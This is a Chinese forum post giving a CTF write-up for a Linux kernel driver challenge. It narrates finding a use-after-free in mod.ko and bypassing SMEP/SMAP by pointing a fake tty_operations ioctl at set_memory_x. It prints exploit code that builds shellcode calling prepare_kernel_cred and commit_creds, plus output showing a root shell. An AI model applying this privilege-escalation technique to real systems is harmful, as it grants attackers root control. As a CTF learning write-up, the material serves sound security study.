首页
社区
课程
招聘
[原创]看雪CTF 2019Q3 第十题 绝地反击 WP
2019-9-26 01:38 6133

[原创]看雪CTF 2019Q3 第十题 绝地反击 WP

xym 活跃值
4
2019-9-26 01:38
6133

驱动新手,第一次做驱动题,拿到题目的时候一脸懵,完全不知道要干什么,只知道题目是个虚拟机,但是参数啥意思完全不知道。

好在我虽然不会翻墙google,但还是和度娘很熟的,在wiki ctf里学习了一下搭建环境的方法,又从github上面找到一个别的题目的wp作为模板,开始了我的驱动征程。


我学到的第一件事情就是mod.ko是个驱动文件,而且是elf文件,可以使用ida打开。然后就是比较熟悉的pwn界面了,里面没有调用几个函数,而且大部分都是驱动常用的,直接baidu就有详细的功能说明。虽然我的分析调试环境还没有搭建起来,但是我拼着敏锐的直觉一下就看出了最后一个kfree有问题,它free之后居然没有清空指针,涉嫌uaf。

我这里一直犯了一个错误,我以为alloc出来的空间就是参数里面的常量3520,这是普通pwn题带来的经验主义的错误,导致我在利用上面一直缺乏构思,直到我调试环境搭建好了能够查看内存才发现,kmem_cache_alloc函数申请的内存空间是由第一个参数决定的,它对应的大小是0x400。通用的tty设备的思路才被我重视起来。

因为开启smep会限制内核执行用户态的代码指令,所以我利用网上的方法尝试着构造了一个rop,使用xchg来交换eax和栈的地址来执行代码。但是很奇怪的是每次交换完,程序就报错重启了。而且显示的错误代码在网上也一直搜不到原因,浪费了N个小时之后,我才发现或者是因为虚拟机的参数设置导致的。于是我挨个查找每个参数的含义,终于发现smap这个罪魁祸首。开启smap之后居然连用户态的数据也不让访问了。

好在肯定还有办法的,在搜索smap的同时,还发现了ret2dir可以完美绕过smap和smep,于是我添加了喷射shellcode的功能,并且成功的让rip跳到了这些shellcode上,结果    虚拟机又又又重启了……

最后实在没办法,大半夜困得不行,我就把目标又看向了那个作为模板的wp,里面有一段被我注释的内容,里面有这么一个操作

fake_tty_operations->ioctl = set_memory_x;

set_memory_x??这是什么函数?设置..内存..可执行??

然后还有一堆类似下面一样的代码(这里粘贴的是我的wp真实代码,原有代码已经被我修改替换了):


    fake_tty_operations->ioctl = (unsigned long)target + sizeof(struct tty_operations);
    memcpy(buff2,fake_tty_operations,sizeof(struct tty_operations));

    unsigned char *shellcode = (unsigned char *)buff2 + sizeof(struct tty_operations);
    *(unsigned short *)shellcode = 0x9090;
    shellcode += 2;
    *(unsigned long *)shellcode = 0x90ff3148;
    shellcode += 3;
    *(unsigned short *)shellcode = 0xB848;
    shellcode += 2;
    *(unsigned long *)shellcode = prepare_kernel_cred;
    shellcode += 8;
    *(unsigned short *)shellcode = 0xD0FF;
    shellcode += 2;
    *(unsigned long *)shellcode = 0x90c78948;
    shellcode += 3;
    *(unsigned short *)shellcode = 0xB848;
    shellcode += 2;
    *(unsigned long *)shellcode = commit_creds;
    shellcode += 8;
    *(unsigned short *)shellcode = 0xD0FF;
    shellcode += 2;
    *(unsigned char *)shellcode = 0xC3;


shellcode??直接执行?这真是瞌睡的时候递过来一个枕头,我顿时困意全无。

没想到内核里面还有这么x的函数!直接可以把我的可控区域添加可执行属性。我都顾不得删除前面那些xchg啊、喷射啊之类的无用代码,直接把这些注释取消,修改,执行,bingo!

直接连上ssh放入目标执行,(吐槽一下,白天这个服务我一直连上没反应,好在晚上一下就成功了)打完收工。

下面是部分执行结果:

set_memory_x = 0xffffffffa0231b40
0x555556b1c010,size = f8
mmap_base: 0xa0347e19
7:*mmap_base = 0xffffffffa037bdf0
8:end!
flag{l1nux_kerne1_4_fun}
/home/pwn # $ id
id
uid=0(root) gid=0
/home/pwn # $ exit
exit


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回